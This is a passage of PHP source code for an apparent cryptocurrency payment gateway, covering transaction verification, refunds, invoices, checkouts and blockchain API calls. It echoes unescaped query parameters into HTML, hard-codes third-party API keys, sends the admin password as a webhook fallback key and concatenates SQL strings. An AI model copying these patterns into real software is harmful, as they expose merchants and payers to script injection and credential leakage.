    $refresh_interval = intval(bxc_settings_get('refresh-interval', 60)) * 60;
    $time = time();
    $transaction_creation_time = strtotime($boxcoin_transaction['creation_time'] . ' UTC');
    if ((($transaction_creation_time + $refresh_interval) <= $time) && !bxc_is_demo()) {
        return 'expired';
    }
    if ($boxcoin_transaction) {
        $cryptocurrency_code = $boxcoin_transaction['cryptocurrency'];
        if ($cryptocurrency_code === 'btc_ln') {
            require_once(__DIR__ . '/bitcoin.php');
            $invoice = bxc_btc_ln_get_invoice($boxcoin_transaction['hash']);
            return $invoice && bxc_isset($invoice, 'state') === 'SETTLED' ? bxc_transactions_check_single(bxc_encryption($boxcoin_transaction)) : $invoice;
        } else {
            $to = $boxcoin_transaction['to'];
            $address_generation = $to != bxc_settings_get_address($cryptocurrency_code) && !bxc_is_demo();
            if (bxc_crypto_whitelist_invalid($to, true, $cryptocurrency_code)) return false;
            $transactions = bxc_blockchain($cryptocurrency_code, 'transactions', false, $to);
            $accept_underpayments = bxc_settings_get('accept-underpayments');
            if (is_array($transactions)) {
                for ($i = 0; $i < count($transactions); $i++) {
                    $transaction = $transactions[$i];
                    $transaction_time = bxc_isset($transaction, 'time');
                    $transaction_hash = bxc_isset($transaction, 'hash');
                    if ((!$transaction_hash || (bxc_is_demo() || !bxc_db_get('SELECT id FROM bxc_transactions WHERE hash = "' . bxc_db_escape($transaction['hash']) . '" LIMIT 1'))) && (empty($transaction['address']) || strtolower($transaction['address']) != strtolower($to)) && (!$transaction_time || $transaction_time > $transaction_creation_time) && ($address_generation || $accept_underpayments || $boxcoin_transaction['amount'] == $transaction['value'] || strpos($transaction['value'], $boxcoin_transaction['amount']) === 0)) {
                        if ($address_generation && empty($transaction_time)) {
                            $transaction = bxc_blockchain($cryptocurrency_code, 'transaction', $transaction_hash, $transaction['address']);
                            if (bxc_isset($transaction, 'time') < $transaction_creation_time) return false;
                        }
                        return bxc_encryption(array_merge($boxcoin_transaction, ['hash' => $transaction_hash, 'id' => $transaction_id, 'cryptocurrency' => $cryptocurrency_code, 'to' => $to]));
                    }
                }
            } else {
                return ['error', $transactions];
            }
        }
    }
    return false;
}

function bxc_transactions_check_single($transaction) {
    $transaction = bxc_transactions_decrypt($transaction);
    $cryptocurrency_code = $transaction['cryptocurrency'];
    $invoice = bxc_isset($transaction, 'billing') && bxc_settings_get('invoice-active') ? bxc_transactions_invoice($transaction['id']) : false;
    if ($cryptocurrency_code === 'btc_ln') {
        $response = bxc_transactions_complete($transaction, $transaction['amount'], '');
        return ['confirmed' => true, 'invoice' => $invoice, 'redirect' => bxc_isset($response, 'redirect'), 'source' => bxc_isset($response, 'source')];
    } else {
        $minimum_confirmations = bxc_settings_get_confirmations($cryptocurrency_code, $transaction['amount']);
        $transaction_blockchain = bxc_blockchain($cryptocurrency_code, 'transaction', $transaction['hash'], $transaction['to']);
        if (!$transaction_blockchain) return 'transaction-not-found';
        if (is_string($transaction_blockchain)) return bxc_error($transaction_blockchain, 'bxc_transactions_check_single', true);
        $confirmations = bxc_isset($transaction_blockchain, 'confirmations');
        if (!$confirmations && $transaction_blockchain['block_height']) $confirmations = bxc_blockchain($cryptocurrency_code, 'blocks_count') - $transaction_blockchain['block_height'] + 1;
        $confirmed = $confirmations >= $minimum_confirmations;
        $response = $confirmed ? bxc_transactions_complete($transaction, $transaction_blockchain['value'], $transaction_blockchain['address']) : [];
        return ['confirmed' => $confirmed, 'confirmations' => $confirmations ? $confirmations : 0, 'minimum_confirmations' => $minimum_confirmations, 'hash' => $transaction['hash'], 'invoice' => $invoice, 'underpayment' => bxc_isset($response, 'underpayment') ? $transaction_blockchain['value'] : false, 'redirect' => bxc_isset($response, 'redirect'), 'source' => bxc_isset($response, 'source')];
    }
}

function bxc_transactions_check_pending() {
    $transactions = bxc_db_get('SELECT * FROM bxc_transactions WHERE status = "P" AND creation_time > "' . gmdate('Y-m-d H:i:s', time() - 172800) . '"', false);
    $transactions_blockchains = [];
    for ($i = 0; $i < count($transactions); $i++) {
        $transaction = $transactions[$i];
        $to = $transaction['to'];
        $cryptocurrency_code = strtolower($transaction['cryptocurrency']);
        if (bxc_crypto_whitelist_invalid($to, true, $cryptocurrency_code) || !bxc_crypto_is($cryptocurrency_code)) continue;
        if (!isset($transactions_blockchains[$to])) {
            $transactions_blockchains[$to] = bxc_blockchain($cryptocurrency_code, 'transactions', ['limit' => 99], $to);
        }
        $transactions_blockchain = $transactions_blockchains[$to];
        $address_generation = $to != bxc_settings_get_address($cryptocurrency_code);
        if (is_array($transactions_blockchain)) {
            for ($y = 0; $y < count($transactions_blockchain); $y++) {
                $transaction_blockchain = $transactions_blockchain[$y];
                if ((empty($transaction_blockchain['time']) || $transaction_blockchain['time'] > strtotime($transaction['creation_time'] . ' UTC')) && ($address_generation || $transaction['amount'] == $transaction_blockchain['value'] || strpos($transaction_blockchain['value'], $transaction['amount']) === 0)) {
                    $transaction['hash'] = $transaction_blockchain['hash'];
                    $response = bxc_transactions_check_single($transaction);
                    if ($response && !empty($response['confirmed'])) {
                        bxc_transactions_update($transaction['id'], ['status' => 'C']);
                    }
                }
            }
        }
    }
}

function bxc_transactions_complete($transaction, $amount_blockchain, $address_from) {
    $redirect = false;
    $source = false;
    $amount = $transaction['amount'];
    $cryptocurrency_code = $transaction['cryptocurrency'];
    $external_reference = $transaction['external_reference'];
    $underpayment = floatval($amount_blockchain) < floatval($amount);
    $node_transfer = false;
    if ($underpayment) {
        $note = $amount_blockchain . '/' . $amount . ' ' . strtoupper($cryptocurrency_code) . ' ' . bxc_('received') . '. ' . bxc_decimal_number(floatval($amount) - floatval($amount_blockchain)) . ' ' . strtoupper($cryptocurrency_code) . ' ' . bxc_('are missing.');
        $description = bxc_transactions_get_description($transaction['id']);
        if (!in_array($note, $description)) array_push($description, $note);
        $underpayment = ', description = "' . bxc_db_json_escape($description) . '"';
        if (bxc_settings_get('accept-underpayments')) {
            $underpayment = false;
            $amount = $amount_blockchain;
            bxc_db_query('UPDATE bxc_transactions SET `amount` = "' . $amount_blockchain . '", amount_fiat = "' . bxc_crypto_get_fiat_value($amount_blockchain, $cryptocurrency_code, $transaction['currency']) . '" WHERE id = ' . bxc_db_escape($transaction['id'], true));
        }
    }
    bxc_db_query('UPDATE bxc_transactions SET `from` = "' . bxc_db_escape($address_from) . '", hash = "' . bxc_db_escape($transaction['hash']) . '", status = "' . ($underpayment ? 'X' : 'C') . '"' . $underpayment . ' WHERE id = ' . bxc_db_escape($transaction['id'], true));
    if (bxc_transactions_webhook_authorized($transaction) && (($cryptocurrency_code === 'btc' && bxc_settings_get('btc-node-address-generation') && bxc_settings_get('btc-node-url')) || bxc_is_eth_address_generation($cryptocurrency_code))) {
        $ethereum = $cryptocurrency_code !== 'btc';
        $prefix = $ethereum ? 'eth' : 'btc';
        $addresses = json_decode(bxc_encryption(bxc_settings_db($prefix . '-addresses'), false), true);
        for ($i = 0; $i < count($addresses); $i++) {
            $private_key = bxc_isset($addresses[$i][0], 'private_key');
            if ($private_key && $addresses[$i][0]['address'] == $transaction['to']) {
                require_once(__DIR__ . ($ethereum ? '/web3.php' : '/bitcoin.php'));
                $node_transfer = bxc_settings_get($prefix . '-node-transfer');
                $to = $node_transfer ? bxc_settings_get($prefix . '-node-transfer-address') : bxc_settings_get($prefix . '-address');
                if ($ethereum) {
                    bxc_eth_transfer($amount, $cryptocurrency_code, $to, $transaction['to'], $private_key);
                } else {
                    bxc_btc_transfer($amount, $to, $transaction['to'], $private_key);
                }
                break;
            }
        }
    }
    bxc_crypto_convert($transaction['id'], $cryptocurrency_code, $amount_blockchain);
    if (!$node_transfer) bxc_crypto_transfer($transaction['id'], $cryptocurrency_code, $amount_blockchain);
    if (bxc_settings_get('notifications-sale')) {
        $language = bxc_settings_get('language-admin');
        bxc_email_notification(($underpayment ? '[' . bxc_m('Underpayment', $language) . '] ' : '') . bxc_m('New payment of', $language) . ' ' . $transaction['amount_fiat'] . ' ' . strtoupper($transaction['currency']), str_replace('{T}', $transaction['amount_fiat'] . ' ' . $transaction['currency'] . ' (' . $amount_blockchain . ' ' . strtoupper($cryptocurrency_code) . ')' . ($underpayment ? ' (<b>' . bxc_m('Underpayment', $language) . '</b>)' : ''), bxc_m('A new payment of {T} has been sent to your', $language)) . ' ' . ucfirst(bxc_crypto_name($transaction['cryptocurrency'])) . ' ' . bxc_m('address', $language) . ' <b>' . $transaction['to'] . '</b>. ' . bxc_m('Transaction ID' . ': ' . $transaction['id'], $language));
    }
    if (strpos($external_reference, 'shopify_') === 0) {
        bxc_curl(bxc_settings_get('shopify-url') . '/admin/api/2023-01/orders/' . str_replace('shopify_', '', $external_reference) . '/transactions.json', json_encode(['transaction' => ['currency' => $transaction['currency'], 'amount' => $transaction['amount_fiat'], 'kind' => 'capture']]), ['X-Shopify-Access-Token: ' . trim(bxc_settings_get('shopify-token'))], 'POST');
    }
    if (!$underpayment) {
        $external_reference = explode('|', bxc_encryption($external_reference, false));
        $source = in_array('woo', $external_reference) ? 'woo' : (in_array('edd', $external_reference) ? 'edd' : false);
        $redirect = $source == 'woo' ? $external_reference[1] : ($source ? bxc_settings_db('wp_edd_url') : false);
        bxc_transactions_webhook($transaction, $source ? bxc_settings_db('wp_api_url') : false);
    }
    if (BXC_CLOUD) bxc_cloud_spend_credit($transaction['amount_fiat'], $transaction['currency']);
    return ['underpayment' => $underpayment, 'redirect' => $redirect, 'source' => $source];
}

function bxc_transactions_update($transaction_id, $values) {
    $query = 'UPDATE bxc_transactions SET ';
    if (is_string($values)) $values = json_decode($values, true);
    foreach ($values as $key => $value) {
        $query .= bxc_db_escape($key) . ' = "' . (is_string($value) ? bxc_db_escape($value) : bxc_db_json_escape($value)) . '",';
    }
    if (bxc_isset($values, 'status') == 'C') {
        $transaction = bxc_transactions_get($transaction_id);
        bxc_transactions_complete($transaction, $transaction['amount'], $transaction['from']);
    }
    return bxc_db_query(substr($query, 0, -1) . ' WHERE id = ' . bxc_db_escape($transaction_id, true));
}

function bxc_transactions_webhook($transaction, $webhook_url = false) {
    if (!$webhook_url) $webhook_url = bxc_settings_get('webhook-url');
    if (!$webhook_url) return false;
    if (is_string($transaction)) $transaction = ['id' => bxc_transactions_decrypt($transaction)['id']];
    $webhook_secret_key = bxc_settings_get('webhook-secret');
    $transaction = bxc_transactions_get($transaction['id']);
    if ($transaction['status'] != 'C') return false;
    if (!bxc_transactions_webhook_authorized($transaction)) return false;
    $body = json_encode(['key' => $webhook_secret_key ? $webhook_secret_key : BXC_PASSWORD, 'transaction' => $transaction]);
    bxc_db_query('UPDATE bxc_transactions SET webhook = 1 WHERE id = ' . $transaction['id']);
    return bxc_curl($webhook_url, $body, ['Content-Type: application/json', 'Content-Length: ' . strlen($body)], 'POST');
}

function bxc_transactions_webhook_authorized($transaction) {
    if ($transaction['webhook']) {
        $url = bxc_is_demo(true);
        if (!$url || bxc_isset($url, 'webhook_key') != bxc_settings_get('webhook-secret')) return false;
    }
    return true;
}

function bxc_transactions_download($search = false, $status = false, $cryptocurrency = false, $date_range = false) {
    return bxc_csv(bxc_transactions_get_all(-1, $search, $status, $cryptocurrency, $date_range), ['ID', 'Title', 'Description', 'From', 'To', 'Hash', 'Amount', 'Amount FIAT', 'Cryptocurrency', 'Currency', 'External Reference', 'Creation Time', 'Status', 'Webhook', 'Billing', 'VAT', 'VAT details'], 'transactions');
}

function bxc_transactions_invoice($transaction_id) {
    require_once __DIR__ . '/vendor/fpdf/fpdf.php';
    require_once __DIR__ . '/vendor/fpdf/autoload.php';
    require_once __DIR__ . '/vendor/fpdf/Fpdi.php';

    $file_name = 'inv-' . $transaction_id . '.pdf';
    $invoice_url = BXC_URL . 'uploads/' . $file_name;
    if (file_exists(__DIR__ . '/uploads/' . $file_name)) return $invoice_url;
    $transaction = bxc_transactions_get($transaction_id);
    if (!$transaction || $transaction['status'] != 'C') return false;
    $billing = json_decode($transaction['billing'], true);
    $billing_text = $billing ? bxc_isset($billing, 'name', '') . PHP_EOL . bxc_isset($billing, 'address', '') . PHP_EOL . bxc_isset($billing, 'city', '') . ', ' . bxc_isset($billing, 'state', '') . ', ' . bxc_isset($billing, 'zip', '') . PHP_EOL . bxc_isset($billing, 'country', '') . PHP_EOL . PHP_EOL . bxc_isset($billing, 'vat', '') : '';

    $pdf = new \setasign\Fpdi\Fpdi();
    $pdf->AddPage();
    $pdf->setSourceFile(__DIR__ . '/resources/invoice.pdf');
    $tpl = $pdf->importPage(1);
    $pdf->useTemplate($tpl, 0, 0, null, null);
    $pdf->SetTextColor(90, 90, 90);

    $pdf->SetXY(20, 29);
    $pdf->SetFont('Arial', 'B', 20);
    $pdf->Cell(1000, 1, bxc_('Tax Invoice'));

    $pdf->SetXY(130, 27);
    $pdf->SetFont('Arial', '', 13);
    $pdf->Multicell(500, 7, bxc_('Invoice date: ') . date('d-m-Y') . PHP_EOL . bxc_('Invoice number: ') . 'INV-' . $transaction['id']);

    $pdf->SetXY(20, 60);
    $pdf->SetFont('Arial', 'B', 13);
    $pdf->Cell(50, 1, bxc_('To'));
    $pdf->SetFont('Arial', '', 13);
    $pdf->SetXY(20, 70);
    $pdf->Multicell(168, 7, strip_tags(trim(iconv('UTF-8', 'windows-1252', $billing_text))));

    $pdf->SetXY(130, 60);
    $pdf->SetFont('Arial', 'B', 13);
    $pdf->Cell(168, 1, bxc_('Supplier'));
    $pdf->SetFont('Arial', '', 13);
    $pdf->SetXY(130, 70);
    $pdf->Multicell(168, 7, strip_tags(trim(iconv('UTF-8', 'windows-1252', bxc_settings_get('invoice-details')))));

    $pdf->SetXY(20, 150);
    $pdf->SetFont('Arial', 'B', 13);
    $pdf->Cell(168, 1, bxc_('Purchase details'));
    $pdf->SetFont('Arial', '', 13);
    $pdf->SetXY(20, 160);
    $pdf->Cell(168, 1, $transaction['title']);

    $pdf->SetXY(20, 180);
    $pdf->SetFont('Arial', 'B', 13);
    $pdf->Cell(168, 1, bxc_('Transaction amount'));
    $pdf->SetFont('Arial', '', 13);
    $pdf->SetXY(20, 190);
    $pdf->Cell(168, 1, strtoupper($transaction['currency']) . ' ' . $transaction['amount_fiat'] . ' (' . strtoupper($transaction['cryptocurrency']) . ' ' . $transaction['amount'] . ')');
    if ($transaction['vat']) {
        $pdf->SetXY(20, 200);
        $pdf->Cell(100, 1, 'VAT ' . strtoupper($transaction['currency']) . ' ' . $transaction['vat']);
    }
    $pdf->Output(__DIR__ . '/uploads/' . $file_name, 'F');
    return $invoice_url;
}

function bxc_transactions_decrypt($transaction) {
    if (is_string($transaction)) return json_decode(bxc_encryption($transaction, false), true);
    if (!bxc_verify_admin()) {
        bxc_error('security-error', 'bxc_transactions_decrypt');
        return 'security-error';
    }
    return $transaction;
}

function bxc_payment_link($transaction_id) {
    return BXC_URL . 'pay.php?id=' . bxc_encryption($transaction_id);
}

function bxc_transactions_get_description($transaction_id) {
    $description = json_decode(bxc_isset(bxc_db_get('SELECT description FROM bxc_transactions WHERE id = ' . bxc_db_escape($transaction_id, true)), 'description', '[]'), true);
    return $description ? $description : [];
}

function bxc_transactions_cancel($transaction) {
    $transaction = bxc_transactions_decrypt($transaction);
    if (isset($transaction['id'])) {
        bxc_db_query('DELETE FROM bxc_transactions WHERE id = ' . bxc_db_escape($transaction['id'], true));
        $slug = $transaction['cryptocurrency'] . '-manual-addresses';
        $addresses = json_decode(bxc_settings_db($slug, false, '{}'), true);
        $to = bxc_isset($transaction, 'to');
        if ($to) {
            unset($addresses[$to]);
            bxc_settings_db($slug, $addresses);
        }
    }
    return false;
}

function bxc_transactions_refund($transaction_id) {
    $transaction = bxc_transactions_get($transaction_id);
    $status = ['transaction-not-found', 'Transaction not found.'];
    if ($transaction) {
        if (in_array($transaction['status'], ['C', 'X'])) {
            if ($transaction['hash']) {
                $cryptocurrency_code = $transaction['cryptocurrency'];
                $transaction_blockchain = bxc_blockchain($cryptocurrency_code, 'transaction', $transaction['hash'], $transaction['to']);
                $address = bxc_isset($transaction_blockchain, 'address');
                if ($address) {
                    if ($transaction_blockchain['value'] === $transaction['amount'] && $address === $transaction['from']) {
                        $status = ['refunds-not-enabled', 'Refunds not enabled.'];
                        if (bxc_settings_get('btc-node-refunds') && $cryptocurrency_code == 'btc') {
                            require_once(__DIR__ . '/bitcoin.php');
                            $response = bxc_btc_transfer($transaction_blockchain['value'], $address);
                            if (is_string($response)) {
                                $status = [true, str_replace('{R}', '<a href="#" data-hash="' . $response . '" target="_blank">' . bxc_('here') . '</a>', bxc_('Refund sent. Transaction details {R}.'))];
                            } else if ($response['error']) {
                                $status = ['bitcoin-error', bxc_isset($response['error'], 'message', $response['error'])];
                            }
                        } else if (bxc_settings_get('eth-node-refunds') && in_array($cryptocurrency_code, bxc_get_cryptocurrency_codes('eth'))) {
                            require_once(__DIR__ . '/web3.php');
                            $response = bxc_eth_transfer($transaction_blockchain['value'], $cryptocurrency_code, $address);
                            if (is_string($response)) {
                                $status = [true, str_replace('{R}', '<a href="#" data-hash="' . $response . '" target="_blank">' . bxc_('here') . '</a>', bxc_('Refund sent. Transaction details {R}.'))];
                            } else if ($response['error']) {
                                $status = ['ethereum-error', bxc_isset($response['error'], 'message', $response['error'])];
                            }
                        } else if (bxc_settings_get('coinbase-refunds')) {
                            $account = bxc_coinbase_get_accounts($cryptocurrency_code);
                            if ($account) {
                                $response = bxc_coinbase_curl('/v2/accounts/' . $account['id'] . '/transactions', ['to' => $address, 'amount' => $transaction_blockchain['value'], 'currency' => $cryptocurrency_code, 'type' => 'send']);
                                if (bxc_isset(bxc_isset($response, 'data', []), 'status') == 'pending') {
                                    $status = [true, str_replace('{R}', '<a href="https://www.coinbase.com' . str_replace('/v2', '', $response['data']['resource_path']) . '" target="_blank">' . bxc_('here') . '</a>', bxc_('Refund sent. Transaction details {R}.'))];
                                } else {
                                    $status = ['coinbase-error', isset($response['errors']) ? $response['errors'][0]['message'] : json_encode($response)];
                                }
                            } else {
                                $status = ['unsupported-cryptocurrency', 'Cryptocurrency not supported.'];
                            }
                        }
                    } else {
                        $status = ['invalid-amount', 'Invalid amount or address.'];
                    }
                } else {
                    $status = ['sender-address-not-found', 'Sender address not found.'];
                }
            } else {
                $status = ['hash-not-found', 'Transaction hash not found.'];
            }
        } else {
            $status = ['wrong-transaction-status', 'Incorrect transaction status. Only transactions marked as completed or underpaid can be refunded.'];
        }
    }
    if ($status[0] === true) {
        $description = bxc_transactions_get_description($transaction_id);
        array_push($description, str_replace('{R}', date('Y-m-d H:i:s'), bxc_('Refund sent on {R}. Transaction hash: ')) . $response);
        bxc_transactions_update($transaction_id, ['status' => 'R', 'description' => $description]);
    }
    return ['status' => $status[0], 'message' => bxc_($status[1])];
}

/*
 * -----------------------------------------------------------
 * CHECKOUT
 * -----------------------------------------------------------
 *
 * 1. Return all checkouts or the specified one
 * 2. Save a checkout
 * 3. Delete a checkout
 * 4. Direct payment checkout
 *
 */

function bxc_checkout_get($checkout_id = false) {
    return bxc_db_get('SELECT * FROM bxc_checkouts' . ($checkout_id ? ' WHERE id = ' . bxc_db_escape($checkout_id, true) : ''), $checkout_id);
}

function bxc_checkout_save($checkout) {
    $checkout = json_decode($checkout, true);
    if (empty($checkout['currency'])) $checkout['currency'] = bxc_settings_get('currency', 'USD');
    if (empty($checkout['id'])) {
        return bxc_db_query('INSERT INTO bxc_checkouts(title, description, price, currency, type, redirect, hide_title, external_reference, creation_time) VALUES ("' . bxc_db_escape($checkout['title']) . '", "' . bxc_db_escape(bxc_isset($checkout, 'description', '')) . '", "' . bxc_db_escape($checkout['price'], true) . '", "' . bxc_db_escape(bxc_isset($checkout, 'currency', '')) . '", "' . bxc_db_escape($checkout['type']) . '", "' . bxc_db_escape(bxc_isset($checkout, 'redirect', '')) . '", ' . (empty($checkout['hide_title']) ? 0 : 1) . ', "' . bxc_db_escape(bxc_isset($checkout, 'external_reference', '')) . '", "' . gmdate('Y-m-d H:i:s') . '")', true);
    } else {
        return bxc_db_query('UPDATE bxc_checkouts SET title = "' . bxc_db_escape($checkout['title']) . '", description = "' . bxc_db_escape(bxc_isset($checkout, 'description', '')) . '", price = "' . bxc_db_escape($checkout['price'], true) . '", currency = "' . bxc_db_escape(bxc_isset($checkout, 'currency', '')) . '", type = "' . bxc_db_escape($checkout['type']) . '", redirect = "' . bxc_db_escape(bxc_isset($checkout, 'redirect', '')) . '", hide_title = ' . (empty($checkout['hide_title']) ? 0 : 1) . ', external_reference = "' . bxc_db_escape(bxc_isset($checkout, 'external_reference', '')) . '" WHERE id = "' . bxc_db_escape($checkout['id'], true) . '"');
    }
}

function bxc_checkout_delete($checkout_id) {
    return bxc_db_query('DELETE FROM bxc_checkouts WHERE id = "' . bxc_db_escape($checkout_id) . '"');
}

function bxc_checkout_direct() {
    if (isset($_GET['checkout_id'])) {
        echo '<div data-boxcoin="' . $_GET['checkout_id'] . '" data-price="' . bxc_isset($_GET, 'price') . '" data-external-reference="' . bxc_isset($_GET, 'external_reference', bxc_isset($_GET, 'external-reference', '')) . '" data-redirect="' . bxc_isset($_GET, 'redirect', '') . '" data-currency="' . bxc_isset($_GET, 'currency', '') . '"' . (isset($_GET['title']) ? ' data-title="' . $_GET['title'] . '"' : '') . (isset($_GET['description']) ? ' data-description="' . $_GET['description'] . '"' : '') . (isset($_GET['note']) ? ' data-note="' . $_GET['note'] . '"' : '') . '>';
        require_once(__DIR__ . '/init.php');
        echo '</div>';
    }
}

/*
 * -----------------------------------------------------------
 * CRYPTO
 * -----------------------------------------------------------
 *
 * 1. Get balances
 * 2. Get the API key
 * 3. Get the fiat value of a cryptocurrency value
 * 4. Get the cryptocurrency value of a fiat value
 * 5. Get blockchain data
 * 6. Get cryptocurrency name
 * 7. Get the crypto payment address
 * 8. Get USD exchange rate
 * 9. Get exchange rate
 * 10. Convert to FIAT
 * 11. Transfer cryptocurrencies
 * 12. Get crypto network
 * 13. Return the base cryptocurrency code of a token
 * 14. Verify an address
 * 15. Get all custom tokens
 * 16. Get cryptocurrency codes by blockchain
 * 17. Get decimals of a cryptocurrency
 * 18. Get the amount in the correct decimal length
 * 19. Check if a currency is a cryptocurrency
 * 20. Check if a cryptocurrency code is a custom token
 * 21. Get the cryptocurrency logo of the specified cryptocurrency code
 * 22. Validate an address
 * 23. Return the external explorer link of a transaction
 * 24. Return the blockchain fee
 *
 */

function bxc_crypto_balances($cryptocurrency_code = false) {
    $cryptocurrencies = $cryptocurrency_code ? [$cryptocurrency_code] : ['btc', 'eth', 'xrp', 'doge', 'usdt', 'usdt_tron', 'usdt_bsc', 'usdc', 'busd', 'bnb', 'shib', 'ltc', 'link', 'bat', 'algo', 'bch'];
    $currency = bxc_settings_get('currency', 'USD');
    $response = ['balances' => []];
    $total = 0;
    $custom_token_images = [];
    if (!$cryptocurrency_code) {
        $custom_tokens = bxc_get_custom_tokens();
        foreach ($custom_tokens as $key => $value) {
            array_push($cryptocurrencies, $value['code']);
            $custom_token_images[$key] = $value['img'];
        }
    }
    for ($i = 0; $i < count($cryptocurrencies); $i++) {
        $cryptocurrency_code = $cryptocurrencies[$i];
        if (bxc_settings_get_address($cryptocurrency_code)) {
            $balance = bxc_blockchain($cryptocurrency_code, 'balance');
            $fiat = 0;
            if ($balance && is_numeric($balance)) {
                $fiat = bxc_crypto_get_fiat_value($balance, bxc_crypto_get_base_code($cryptocurrency_code), $currency);
                $total += $fiat;
            } else {
                $balance = 0;
            }
            $response['balances'][$cryptocurrency_code] = ['amount' => $balance, 'fiat' => $fiat, 'name' => bxc_crypto_name($cryptocurrency_code, true)];
        }
    }
    $response['total'] = round($total, 2);
    $response['currency'] = strtoupper($currency);
    $response['token_images'] = $custom_token_images;
    return $response;
}

function bxc_crypto_api_key($service, $url = false) {
    $key = false;
    $key_parameter = false;
    switch ($service) {
        case 'etherscan':
            $keys = ['TBGQBHIXM113HT94ZWYY8MXGWFP9257541', 'GHAQC5VG536H7MSZR5PZF27GZJUSGH94TK', 'F1HZ35IJCR8DQC4SGVJBYMYB928UFV58MP', 'ADR46A53KIXDJ6BMJYK5EEGKQJDDQH6H1K', 'AIJ9S76757JZ7B9KQMJTAN3SRNKF5F5P4M'];
            $key_parameter = 'apikey';
            break;
        case 'ethplorer':
            $keys = ['EK-feNiM-th8gYm7-qECAq', 'EK-qCQHY-co6TwoA-ASWUm', 'EK-51EKh-8cvKWm5-qhjuU', 'EK-wmJ14-faiQNhf-C5Gsj', 'EK-i6f3K-1BtBfUf-Ud7Lo'];
            $key_parameter = 'apiKey';
            break;
        case 'bscscan':
            $keys = ['2Z5V3AZV5P4K95M9UXPABQ19CAVWR7RM78', '6JG8B7F5CC5APF2Q1C3BXRMZSS92F1RGKX', '2BAPYF16Z6BR8TY2SZGN74231JNZ8TFQKU', '1DNAQ7C2UAYPS5WW7HQXPCF8WFYG8CP3XQ', 'MP3XAXN1D7XVYZQVNCMGII5JZTBRASG996'];
            $key_parameter = 'apiKey';
            break;
        case 'blockdaemon':
            $keys = ['5inALCDK3NzmSoA-EC4ribZEDAvj0zy95tPaorxMZYzTRR0u', 'i1-LMC4x9ZgSlZ-kSrCf3pEeckZadAsKCJxuvXRq9pusgK2T', 'ktbzuPccKUwnnMI73YLEK7h29dEOQfFBOCNAXJ0SnHw8rn69', 'FI2b6Cfpf8lee2xaTs98IprkPb1OuxjW11M2Sq-vlIrqzKsR', '1nvtfBzPsjByQPYBr0xoxc1jv9KrntMnOhkjKTkTt3ejxUXk'];
            $key_parameter = '-';
            break;
        case 'tatum':
            $keys = ['90a07172-cd5e-452e-9b81-56f37c9693bb', '573c3fea-8325-4088-a35e-e97fdf2bc365', '330c5774-0de7-4963-895f-2b0c784011d2', '2f9a0a5f-f587-4545-8c38-f72007461e7a', '076a59f5-7cb5-4169-a038-3decda950b41'];
            $key_parameter = '-';
            break;
    }
    if ($key_parameter) {
        $key = bxc_settings_get($service . '-key');
        if (!$key) $key = $keys[rand(0, 4)];
    }
    return $key ? ($url ? ($url . (strpos($url, '?') ? '&' : '?') . $key_parameter . '=' . $key) : $key) : ($url ? $url : false);
}

function bxc_crypto_get_fiat_value($amount, $cryptocurrency_code, $currency_code) {
    if (!is_numeric($amount)) return bxc_error('Invalid amount (' . $amount . ')', 'bxc_crypto_get_fiat_value');
    $cryptocurrency_code = strtoupper(bxc_crypto_get_base_code($cryptocurrency_code));
    $unsupported = ['BNB', 'BUSD'];
    if (in_array($cryptocurrency_code, $unsupported)) {
        $usd_rates = $currency_code == 'USD' ? 1 : bxc_usd_rates($currency_code);
        $crypto_rate_usd = json_decode(bxc_curl('https://api.binance.us/api/v3/ticker/price?symbol=' . $cryptocurrency_code . 'USD'), true)['price'];
        $rate = 1 / (floatval($crypto_rate_usd) * $usd_rates);
    } else {
        $rate = bxc_exchange_rates($currency_code, $cryptocurrency_code);
    }
    return round((1 / $rate) * floatval($amount), 2);
}

function bxc_crypto_get_cryptocurrency_value($amount, $cryptocurrency_code, $currency_code) {
    $unsupported = ['BNB', 'BUSD'];
    $cryptocurrency_code = strtoupper(bxc_crypto_get_base_code($cryptocurrency_code));
    $rate = false;
    $is_crypto = bxc_crypto_is($currency_code);
    if (!$is_crypto && in_array($cryptocurrency_code, $unsupported)) {
        $usd_rates = $currency_code == 'USD' ? 1 : bxc_usd_rates($currency_code);
        $crypto_rate_usd = json_decode(bxc_curl('https://api.binance.us/api/v3/ticker/price?symbol=' . $cryptocurrency_code . 'USD'), true)['price'];
        $rate = 1 / (floatval($crypto_rate_usd) * $usd_rates);
    } else if ($is_crypto) {
        $rate = bxc_exchange_rates('usd', $cryptocurrency_code) / bxc_exchange_rates('usd', $currency_code);
    } else {
        $rate = bxc_exchange_rates($currency_code, $cryptocurrency_code);
    }
    return bxc_crypto_get_value_with_decimals(bxc_decimal_number($rate * floatval($amount)), $cryptocurrency_code);
}

function bxc_blockchain($cryptocurrency_code, $action, $extra = false, $address = false) {
    $services = [
        'btc' => [['https://mempool.space/api/', 'address/{R}', 'address/{R}/txs', 'tx/{R}', 'blocks/tip/height', 'mempool'], ['https://blockstream.info/api/', 'address/{R}', 'address/{R}/txs', 'tx/{R}', 'blocks/tip/height', 'blockstream'], ['https://blockchain.info/', 'q/addressbalance/{R}', 'rawaddr/{R}?limit=30', 'rawtx/{R}', 'q/getblockcount', 'blockchain'], 'blockdaemon'],
        'eth' => [['https://api.etherscan.io/api?', 'module=account&action=balance&address={R}', 'module=account&action=txlist&address={R}&startblock=0&endblock=99999999&offset=99&sort=asc', 'module=account&action=txlist&address={R}&startblock=0&endblock=99999999&offset=99&sort=asc', false, 'etherscan'], ['https://api.ethplorer.io/', 'getAddressInfo/{R}', 'getAddressTransactions/{R}?limit=99&showZeroValues=false', 'getTxInfo/{R}', 'getLastBlock', 'ethplorer'], ['https://blockscout.com/eth/mainnet/api?', 'module=account&action=balance&address={R}', 'module=account&action=txlist&address={R}', 'module=transaction&action=gettxinfo&txhash={R}', false, 'blockscout'], 'blockdaemon'],
        'xrp' => [['https://data.ripple.com/v2/', 'accounts/{R}/balances', 'accounts/{R}/transactions', 'transactions/{R}', false, 'ripple'], 'blockdaemon'],
        'doge' => ['blockcypher', 'blockdaemon'],
        'algo' => [['https://algoindexer.algoexplorerapi.io/v2/', 'accounts/{R}', 'accounts/{R}/transactions?limit=99', 'transactions/{R}', 'accounts/{R}', 'algoexplorerapi'], 'blockdaemon'],
        'bnb' => [['https://api.bscscan.com/api?', 'module=account&action=balance&address={R}', 'module=account&action=txlist&address={R}&startblock=0&endblock=99999999&offset=99&sort=asc', 'module=account&action=txlist&address={R}&startblock=0&endblock=99999999&offset=99&sort=asc', false, 'bscscan']],
        'ltc' => ['tatum', 'blockdaemon', 'blockcypher'],
